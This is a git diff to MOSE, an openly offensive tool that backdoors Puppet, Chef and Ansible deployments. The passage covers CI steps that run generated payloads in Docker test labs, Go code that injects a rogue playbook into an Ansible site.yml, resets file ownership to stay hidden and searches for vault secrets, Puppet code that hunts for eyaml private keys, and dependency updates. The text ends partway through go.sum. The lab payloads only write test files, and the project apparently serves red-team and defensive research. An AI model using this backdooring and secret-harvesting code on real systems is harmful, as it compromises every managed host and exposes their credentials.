/bin/bash -c "echo 'Y' | /puppet-linux" # Run puppet agent -t to enact the changes made by MOSE docker exec -i basic-puppetagent /bin/bash -c "puppet agent -t" # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-puppetagent /bin/bash -c "cat /tmp/file_upload_test.txt" - displayName: 'Run MOSE generated file upload payload on puppet test environment' + displayName: 'Run MOSE generated file upload payload on the puppet test environment' workingDirectory: "$(modulePath)" # End Puppet @@ -108,7 +108,7 @@ steps: sudo apt-get install -y expect export GO111MODULE=on expect scripts/test_chef_workstation.exp - displayName: 'Generate a chef payload for workstation in chef test environment' + displayName: 'Generate a chef payload for workstation in the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -120,7 +120,7 @@ steps: echo "Sleeping for 12 minutes (720 seconds) while waiting for the chef environment to finish building." sleep 720 docker ps - displayName: 'Build and configure chef test environment' + displayName: 'Build and configure the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -142,7 +142,7 @@ steps: # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-chef-agent-1 /bin/bash -c "cat /tmp/test.txt" - displayName: 'Run MOSE generated payload on workstation in chef test environment' + displayName: 'Run MOSE generated payload on workstation in the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -154,21 +154,27 @@ steps: - script: | # Copy MOSE payload to workstation - docker cp $(modulePath)/payloads/files.tar basic-chef-workstation:/files.tar + docker cp $(modulePath)/payloads/chef-linux.tar basic-chef-workstation:/chef-linux.tar # Run MOSE against the workstation - docker exec -i basic-chef-workstation /bin/bash -c "tar -xvf files.tar" + docker exec -i basic-chef-workstation /bin/bash -c "tar -xvf chef-linux.tar" docker exec -i basic-chef-workstation /bin/bash -c "echo 'n' | /chef-linux" # Run chef-client to enact the changes made by MOSE docker exec -i basic-chef-agent-1 /bin/bash -c "chef-client" # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-chef-agent-1 /bin/bash -c "cat /tmp/file_upload_test.txt" - displayName: 'Run MOSE generated file upload payload on workstation in chef test environment' + displayName: 'Run MOSE generated file upload payload on workstation in the chef test environment' workingDirectory: "$(modulePath)" # End Chef # Ansible +- script: | + export GO111MODULE=on + ./mose -c "touch /tmp/test.txt && echo test >> /tmp/test.txt" -t ansible -f $(modulePath)/payloads/ansible-linux + displayName: 'Generate an ansible payload' + workingDirectory: "$(modulePath)" + - script: | git clone https://github.com/master-of-servers/ansible-test-lab.git cd ansible-test-lab && cd basic @@ -188,7 +194,51 @@ steps: docker exec -i basic-control-node cat /root/.ansible/group_vars/vault echo "Applying the hello playbook to the managed node" docker exec -i basic-control-node bash -c "cd ~/.ansible && ansible-playbook site.yml" - displayName: 'Build and configure ansible test environment' + displayName: 'Build and configure the ansible test environment' + workingDirectory: "$(modulePath)" + +- script: | + # Copy MOSE payload to ansible control node + docker cp $(modulePath)/payloads/ansible-linux basic-control-node:/ansible-linux + docker cp scripts/test_ansible_cmd.exp basic-control-node:/ + + # Run MOSE against the control node + docker exec -i basic-control-node /bin/bash -c "apt-get update -y" + docker exec -i basic-control-node /bin/bash -c "DEBIAN_FRONTEND=noninteractive apt-get install -y tzdata" + docker exec -i basic-control-node /bin/bash -c "apt-get install -y expect" + docker exec -i basic-control-node /bin/bash -c "expect /test_ansible_cmd.exp" + + # Run ansible-cookbook to enact the changes made by MOSE + docker exec -i basic-control-node /bin/bash -c "ansible-playbook /root/.ansible/site.yml" + + # Ensure that MOSE is working properly by running cat on the file it created + docker exec -i basic-managed-node /bin/bash -c "cat /tmp/test.txt" + displayName: 'Run MOSE generated payload on the ansible test environment' + workingDirectory: "$(modulePath)" + +- script: | + echo 'echo testing file upload > /tmp/file_upload_test.txt' > payloads/notevil.sh + export GO111MODULE=on + ./mose -fu payloads/notevil.sh -t ansible -f payloads/ansible-linux + displayName: 'Generate an ansible payload to test file upload' + workingDirectory: "$(modulePath)" + +- script: | + # Copy MOSE payload to ansible control node + docker cp $(modulePath)/payloads/ansible-linux.tar basic-control-node:/ansible-linux.tar + # Copy MOSE payload to ansible control node + docker cp scripts/test_ansible_file_upload.exp basic-control-node:/ + + # Run MOSE against the control node + docker exec -i basic-control-node /bin/bash -c "tar -xvf /ansible-linux.tar" + docker exec -i basic-control-node /bin/bash -c "expect /test_ansible_file_upload.exp" + + # Run ansible-cookbook to enact the changes made by MOSE + docker exec -i basic-control-node /bin/bash -c "ansible-playbook /root/.ansible/site.yml" + + # Ensure that MOSE is working properly by running cat on the file it created + docker exec -i basic-managed-node /bin/bash -c "cat /tmp/test.txt" + displayName: 'Run MOSE generated file upload payload on the ansible test environment' workingDirectory: "$(modulePath)" # End Ansible @@ -207,8 +257,8 @@ steps: workingDirectory: "$(modulePath)" # End Salt -# - script: | -# export GO111MODULE=on -# go test -count=1 -v -race ./... -# displayName: 'Run unit tests' -# workingDirectory: "$(modulePath)" \ No newline at end of file +- script: | + export GO111MODULE=on + go test -count=1 -v -race ./... + displayName: 'Run unit tests' + workingDirectory: "$(modulePath)" \ No newline at end of file diff --git a/cmd/mose/ansible/main.go b/cmd/mose/ansible/main.go index 5f4ef74..c57be71 100644 --- a/cmd/mose/ansible/main.go +++ b/cmd/mose/ansible/main.go @@ -34,16 +34,23 @@ type ansibleFiles struct { playbookDirs []string siteFile string vaultFile string + uid int + gid int } type ansible []struct { - Name string `json:"name,omitempty"` - Hosts string `json:"hosts,omitempty"` - Become bool `json:"become,omitempty"` - GatherFacts string `json:"gather_facts,omitempty"` - Include string `json:"include,omitempty"` - Roles []string `json:"roles,flow,omitempty"` - Tasks []interface{} `json:"tasks,omitempty"` + Name string `json:"name,omitempty"` + Connection interface{} `json:"connection,omitempty"` + Vars map[string]interface{} `json:"vars,omitempty,flow"` + Remote string `json:"remote_user,omitempty"` + BecomeMethod string `json:"become_method,omitempty"` + Hosts string `json:"hosts,omitempty"` + Become bool `json:"become,omitempty"` + GatherFacts string `json:"gather_facts,omitempty"` + Include string `json:"include,omitempty"` + Tags []interface{} `json:"tags,omitempty,flow"` + Roles []interface{} `json:"roles,flow,omitempty"` + Tasks []interface{} `json:"tasks,flow,omitempty"` } var ( @@ -58,6 +65,8 @@ var ( playbookDirs: []string{}, siteFile: "", vaultFile: "", + uid: -1, + gid: -1, } osTarget = a.OsTarget ansibleRole = a.PayloadName @@ -73,9 +82,9 @@ func init() { func doCleanup(siteLoc string) { moseutils.TrackChanges(cleanupFile, cleanupFile) - ans, err := moseutils.AskUserQuestion("Would you like to remove all files associated with a previous run?", osTarget) + ans, err := moseutils.AskUserQuestion("Would you like to remove all files associated with a previous run? ", osTarget) if err != nil { - log.Fatal("Failed to do the cleanup: %v, exiting...", err) + log.Fatalln(err) } moseutils.RemoveTracker(cleanupFile, osTarget, ans) @@ -265,8 +274,14 @@ func backupSiteFile() { } if !moseutils.FileExists(path + ".bak.mose") { moseutils.CpFile(files.siteFile, path+".bak.mose") + if files.uid != -1 && files.gid != -1 { + err := os.Chown(path+".bak.mose", files.uid, files.gid) + if err != nil { + moseutils.ErrMsg("issues changing owner of backup file") + } + } } else { - moseutils.ErrMsg("Backup of the (%v.bak.mose) already exists.", path) + moseutils.ErrMsg("Backup of the site.yml file already exists (%v.bak.mose), moving on.", path) } } @@ -323,6 +338,22 @@ func generatePlaybooks() { log.Printf("Creating rogue playbook %s", playbookDir) } moseutils.Msg("Successfully created the %s playbook at %s", ansibleCommand.CmdName, playbookDir) + + _, err = moseutils.TrackChanges(cleanupFile, filepath.Join(playbookDir, ansibleCommand.CmdName)) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + + if debug { + log.Printf("Attempting to change ownership of directory") + } + if files.uid != -1 && files.gid != -1 { + err := moseutils.ChownR(filepath.Join(playbookDir, ansibleCommand.CmdName), files.uid, files.gid) + if err != nil { + moseutils.ErrMsg("issues changing owner of backup file") + } + } } } @@ -336,7 +367,31 @@ func writeYamlToSite(siteYaml ansible) { if err != nil { log.Fatalf("Error writing %v to %v because of: %v, exiting.", marshalled, files.siteFile, err) } - moseutils.Msg("%s successfully created", files.siteFile) + moseutils.Msg("Added backdoored code to %s", files.siteFile) +} + +func validateIndicies(data ansible) map[int]bool { + validIndices := make(map[int]bool, 0) + for i, hosts := range data { + roles := make([]string, 0) + if hosts.Include == "" { + for _, item := range hosts.Roles { + switch r := item.(type) { + case map[string]interface{}: + roles = append(roles, r["role"].(string)) + case string: + roles = append(roles, r) + default: + if debug { + log.Println("Should not make it here in validateIndicies") + } + } + } + moseutils.Msg("[%v] Name: %v, Hosts: %v, Roles: %v", i, hosts.Name, hosts.Hosts, roles) + validIndices[i] = true + } + } + return validIndices } func backdoorSiteFile() { @@ -365,12 +420,12 @@ func backdoorSiteFile() { if debug { log.Println("hosts:all found") } - if ans, err := moseutils.AskUserQuestion("Would you like to target all managed nodes? ", a.OsTarget); ans && err == nil { + if ans, err := moseutils.AskUserQuestion("Would you like to target all managed hosts? ", a.OsTarget); ans && err == nil { for i, item := range unmarshalled { if strings.Compare(item.Hosts, "all") == 0 { - moseutils.Msg("Existing configuration for all hosts found, adding rogue playbook to roles") + moseutils.Msg("Existing configuration for all hosts found, adding rogue playbook to associated roles") if unmarshalled[i].Roles == nil { - unmarshalled[i].Roles = make([]string, 0) + unmarshalled[i].Roles = make([]interface{}, 0) } unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) writeYamlToSite(unmarshalled) @@ -384,16 +439,23 @@ func backdoorSiteFile() { if !hostAllFound { if debug { - log.Println("No existing configuration for all founds host in %v", files.siteFile) + log.Printf("No existing configuration for all founds host in %v", files.siteFile) } + roles := make([]interface{}, 0) + roles = append(roles, ansibleRole) if ans, err := moseutils.AskUserQuestion("Would you like to target all managed nodes? ", a.OsTarget); ans && err == nil { newItem := ansible{{ - "Important Do Not Remove", + a.PayloadName, + nil, + nil, + "", + "", "all", true, "", "", - []string{ansibleRole}, + nil, + roles, nil, }} unmarshalled = append(unmarshalled, newItem[0]) @@ -404,20 +466,14 @@ func backdoorSiteFile() { } } moseutils.Info("The following roles were found in the site.yml file: ") - validIndex := make(map[int]bool, 0) - for i, hosts := range unmarshalled { - if hosts.Include == "" { - moseutils.Msg("[%v] Name: %v, Hosts: %v, Roles: %v", i, hosts.Name, hosts.Hosts, hosts.Roles) - validIndex[i] = true - } - } + validIndices := validateIndicies(unmarshalled) - if ans, err := moseutils.IndexedUserQuestion("Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):", a.OsTarget, validIndex); err == nil { + if ans, err := moseutils.IndexedUserQuestion("Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):", a.OsTarget, validIndices, func() { validateIndicies(unmarshalled) }); err == nil { for i := range unmarshalled { // Check if the specified location is in the answer if ans[i] { if unmarshalled[i].Roles == nil { - unmarshalled[i].Roles = make([]string, 0) + unmarshalled[i].Roles = make([]interface{}, 0) } unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) } @@ -506,11 +562,6 @@ func getVaultPassFromCfg() (bool, string) { } func main() { - // TODO: Fix this - if cleanup { - doCleanup(files.siteFile) - } - if uploadFileName != "" { moseutils.CpFile(uploadFileName, uploadFilePath) _, err := moseutils.TrackChanges(cleanupFile, uploadFileName) @@ -526,6 +577,18 @@ func main() { log.Printf("Site file: %v", files.siteFile) } + uid, gid, err := moseutils.GetUIDGid(files.siteFile) + if err != nil { + moseutils.ErrMsg("Error retrieving uid and gid of file, will default to root") + } + + files.uid = uid + files.gid = gid + + if cleanup { + doCleanup(files.siteFile) + } + // Find ansible.cfg files.cfgFile = getCfgFile() if debug { @@ -547,23 +610,33 @@ func main() { // Parse managed systems from the hosts files found previously files.hosts = getManagedSystems() if len(files.hosts) > 0 { - moseutils.Info("The following managed systems found: %v", files.hosts) + moseutils.Info("The following managed systems were found: %v", files.hosts) } if files.siteFile != "" { if ans, err := moseutils.AskUserQuestion("Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. ", a.OsTarget); ans && err == nil { backupSiteFile() } else if err != nil { - moseutils.ErrMsg("Error backing up %s: %v, exiting...", files.siteFile, err) + log.Fatal("Exiting...") } } // Create rogue playbooks using ansiblePlaybook.tmpl generatePlaybooks() - moseutils.Msg("Backdooring %s to run %s on all managed systems, please wait...", files.siteFile, a.Cmd) + moseutils.Msg("Backdooring %v to run %s on all managed systems, please wait...", files.siteFile, a.Cmd) backdoorSiteFile() + if debug { + fmt.Printf("Changing owner of the backup file to uid %v\n", files.uid) + } + if files.uid != -1 && files.gid != -1 { + err := os.Chown(files.siteFile, files.uid, files.gid) + if err != nil { + log.Printf("Failed to change owner of the backup file: %v\n", err) + } + } + // find secrets is ansible-vault is installed moseutils.Info("Attempting to find secrets, please wait...") findVaultSecrets() diff --git a/cmd/mose/chef/main.go b/cmd/mose/chef/main.go index 6c6b65d..894ecc8 100644 --- a/cmd/mose/chef/main.go +++ b/cmd/mose/chef/main.go @@ -526,7 +526,7 @@ func main() { // If we're not root, we probably can't backdoor any of the chef code, so exit utils.CheckRoot() - chefFiles, chefDirs := moseutils.FindFiles([]string{"/etc/chef", "/home", "/root"}, []string{".pem"}, []string{"config.rb", "knife.rb"}, []string{`\/cookbooks$`}, debug) + chefFiles, chefDirs := moseutils.FindFiles([]string{"/etc/chef", "/home", "/root"}, []string{".pem"}, []string{"config.rb", "knife.rb"}, []string{`\/cookbooks$`}) if len(chefFiles) == 0 { log.Fatalln("Unable to find any chef files, exiting.") diff --git a/cmd/mose/puppet/export_test.go b/cmd/mose/puppet/export_test.go deleted file mode 100644 index 39f87c5..0000000 --- a/cmd/mose/puppet/export_test.go +++ /dev/null @@ -1,8 +0,0 @@ -// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). -// Under the terms of Contract DE-NA0003525 with NTESS, -// the U.S. Government retains certain rights in this software - -package main - -// Export for testing -var BackupManifest = backupManifest diff --git a/cmd/mose/puppet/main.go b/cmd/mose/puppet/main.go index 45b1a58..0b2295b 100644 --- a/cmd/mose/puppet/main.go +++ b/cmd/mose/puppet/main.go @@ -245,7 +245,7 @@ func createModule(manifestLoc string, moduleName string, cmd string) { func getSecretKeys() map[string]*eyamlKeys { keys := make(map[string]*eyamlKeys) - keyFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/root", "/etc/eyaml"}, []string{".pem"}, []string{}, []string{}, debug) + keyFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/root", "/etc/eyaml"}, []string{".pem"}, []string{}, []string{}) if len(keyFiles) == 0 { log.Fatalln("Unable to find any files containing keys used with eyaml, exiting.") } @@ -280,7 +280,7 @@ func findHieraSecrets() { return } secretKeys := getSecretKeys() - puppetFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/home", "/opt", "/root", "/var"}, []string{".pp", ".yaml", ".yml"}, []string{}, []string{}, debug) + puppetFiles, _ := moseutils.FindFiles([]string{"/etc/puppetlabs", "/etc/puppet", "/home", "/opt", "/root", "/var"}, []string{".pp", ".yaml", ".yml"}, []string{}, []string{}) if len(puppetFiles) == 0 { log.Fatalln("Unable to find any chef files, exiting.") @@ -368,7 +368,12 @@ func main() { log.Fatal("Exiting...") } - moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, cmd) + if uploadFileName != "" { + moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, uploadFileName) + } else { + moseutils.Msg("Backdooring the %s manifest to run %s on all associated Puppet agents, please wait...", manifestLoc, cmd) + } + backdoorManifest(manifestLoc) modules := getModules(getPuppetCodeLoc(manifestLoc) + "/modules") moseutils.Info("The following modules were found: %v", modules) diff --git a/cmd/mose/puppet/main_test.go b/cmd/mose/puppet/main_test.go deleted file mode 100644 index 6520344..0000000 --- a/cmd/mose/puppet/main_test.go +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). -// Under the terms of Contract DE-NA0003525 with NTESS, -// the U.S. Government retains certain rights in this software - -package main - -import ( - "os" - "testing" - - utils "github.com/l50/goutils" -) - -func TestBackupManifest(t *testing.T) { - file := "site.pp" - backupFile := "site.pp.bak.mose" - created := utils.CreateEmptyFile(file) - BackupManifest(file) - if !created || !utils.FileExists(backupFile) { - t.Fatalf("Failed to create backup of the %s manifest.", file) - } else { - os.Remove(file) - os.Remove(backupFile) - } -} diff --git a/go.mod b/go.mod index d826c06..be7dd3f 100644 --- a/go.mod +++ b/go.mod @@ -1,9 +1,7 @@ module github.com/master-of-servers/mose require ( - github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78 // indirect github.com/Microsoft/go-winio v0.4.14 // indirect - github.com/Nvveen/Gotty v0.0.0-20120604004816-cd527374f1e5 // indirect github.com/docker/distribution v2.7.1+incompatible // indirect github.com/docker/docker v1.13.1 github.com/docker/go-connections v0.4.0 // indirect @@ -15,9 +13,8 @@ require ( github.com/gobuffalo/logger v1.0.3 // indirect github.com/gobuffalo/packd v1.0.0 // indirect github.com/gobuffalo/packr/v2 v2.7.1 - github.com/gogo/protobuf v1.2.1 // indirect + github.com/gogo/protobuf v1.3.1 // indirect github.com/golang/snappy v0.0.1 // indirect - github.com/gorilla/mux v1.7.2 // indirect github.com/l50/goutils v0.0.0-20190618185127-76c085e83296 github.com/mholt/archiver v3.1.1+incompatible github.com/nwaples/rardecode v1.0.0 // indirect @@ -25,10 +22,12 @@ require ( github.com/opencontainers/image-spec v1.0.1 // indirect github.com/pierrec/lz4 v2.0.5+incompatible // indirect github.com/rogpeppe/go-internal v1.5.2 // indirect + github.com/spf13/pflag v1.0.5 // indirect github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 // indirect - golang.org/x/crypto v0.0.0-20200204104054-c9f3fb736b72 // indirect - golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5 // indirect + golang.org/x/crypto v0.0.0-20200214034016-1d94cc7ab1c6 // indirect + golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4 // indirect golang.org/x/time v0.0.0-20190308202827-9d24e82272b4 // indirect + golang.org/x/tools v0.0.0-20200214225126-5916a50871fb // indirect google.golang.org/grpc v1.21.1 // indirect gopkg.in/src-d/go-git.v4 v4.12.0 // indirect gotest.tools v2.2.0+incompatible // indirect diff --git a/go.sum b/go.sum index 470c1cf..357939f 100644 --- a/go.sum +++ b/go.sum @@ -18,6 +18,7 @@ github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= +github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= @@ -43,6 +44,7 @@ github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/gliderlabs/ssh v0.1.3 h1:cBU46h1lYQk5f2Z+jZbewFKy+1zzE2aUX/ilcPDAm9M= github.com/gliderlabs/ssh v0.1.3/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= +github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= github.com/gobuffalo/envy v1.7.0 h1:GlXgaiBkmrYMHco6t4j7SacKO4XUjvh5pwXh0f4uxXU= github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.7.1 h1:OQl5ys5MBea7OGCdvPbBJWRgnhC/fGona6QKfvFeau8= @@ -57,10 +59,13 @@ github.com/gobuffalo/packd v0.3.0 h1:eMwymTkA1uXsqxS0Tpoop3Lc0u3kTfiMBE6nKtQU4g4 github.com/gobuffalo/packd v0.3.0/go.mod h1:zC7QkmNkYVGKPw4tHpBQ+ml7W/3tIebgeo1b36chA3Q= github.com/gobuffalo/packd v1.0.0 h1:6ERZvJHfe24rfFmA9OaoKBdC7+c9sydrytMg8SdFGBM= github.com/gobuffalo/packd v1.0.0/go.mod h1:6VTc4htmJRFB7u1m/4LeMTWjFoYrUiBkU9Fdec9hrhI= +github.com/gobuffalo/packr v1.30.1 h1:hu1fuVR3fXEZR7rXNW3h8rqSML8EVAf6KNm0NKO/wKg= github.com/gobuffalo/packr/v2 v2.7.1 h1:n3CIW5T17T8v4GGK5sWXLVWJhCz7b5aNLSxW6gYim4o= github.com/gobuffalo/packr/v2 v2.7.1/go.mod h1:qYEvAazPaVxy7Y7KR0W8qYEE+RymX74kETFqjFoFlOc= github.com/gogo/protobuf v1.2.1 h1:/s5zKNz0uPFCZ5hddgPdo2TK2TVrUNMn0OOX8/aZMTE= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.1 h1:DqDEcV5aeaTmdFBePNpYsp3FlcVH/2ISVVM9Qf8PSls= +github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= @@ -70,6 +75,7 @@ github.com/golang/snappy v0.0.1 h1:Qgr9rKW7uDUkrbSmQeiDsGa8SjGyCOGtuasMWwvp2P4= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/go-cmp v0.2.0 h1:+dTQ8DZQJz0Mb/HjFlkptS1FeQ4cWSnN941F8aEG4SQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/gorilla/mux v1.7.2 h1:zoNxOV7WjqXptQOVngLmcSQgXmgk4NMz1HibBchjl/I= github.com/gorilla/mux v1.7.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= @@ -82,7 +88,10 @@ github.com/joho/godotenv v1.3.0 h1:Zjp+RcGpHhGlrMbJzXTrZZPrWj+1vfm90La1wgB6Bhc= github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e h1:RgQk53JHp/Cjunrr1WlsXSZpqXn+uREuHvUVcK82CV8= github.com/kevinburke/ssh_config v0.0.0-20180830205328-81db2a75821e/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= +github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd h1:Coekwdh0v2wtGp9Gmz1Ze3eVRAWJMLokvN3QjdzCHLY= +github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= +github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek= @@ -92,6 +101,7 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxv github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/l50/goutils v0.0.0-20190618185127-76c085e83296 h1:Xgl0TISoA1uwxvdYUfQzgwnDa/vOexXIKKvNE8AlzGY= @@ -118,8 +128,12 @@ github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtb github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4 v2.0.5+incompatible h1:2xWsjqPFWcplujydGg4WmhC/6fZqK42wMM8aXeqhl0I= github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= +github.com/pierrec/lz4 v2.4.1+incompatible h1:mFe7ttWaflA46Mhqh+jUfjp2qTbPYxLB2/OyBppH9dg= +github.com/pierrec/lz4 v2.4.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= @@ -144,11 +158,14 @@ github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tL github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/pflag v1.0.3 h1:zPAT6CGy6wXeQ7NtTnaTerfKOsV6V6F8agHXFiazDkg= github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s= github.com/src-d/gcfg v1.4.0 h1:xXbNR5AlLSA315x2UO+fTSSAXCDf+Ar38/6oyGbDKQ4= github.com/src-d/gcfg v1.4.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/testify v1.2.2/go.mod 